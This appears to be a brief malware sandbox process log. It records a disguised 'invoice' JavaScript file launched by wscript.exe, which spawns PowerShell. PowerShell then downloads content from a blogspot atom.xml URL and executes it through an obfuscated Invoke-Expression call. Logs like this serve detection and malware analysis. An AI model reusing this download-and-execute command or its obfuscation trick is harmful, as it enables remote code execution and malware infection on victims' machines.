wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\lnvoice__1541436948.js
3048powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c $((irm htlbookingnew.blogspot.com//////////////////////////////atom.xml) | .('{1}{0}'-f'XXXWww','I').replace('XXXWww','ex'))
2188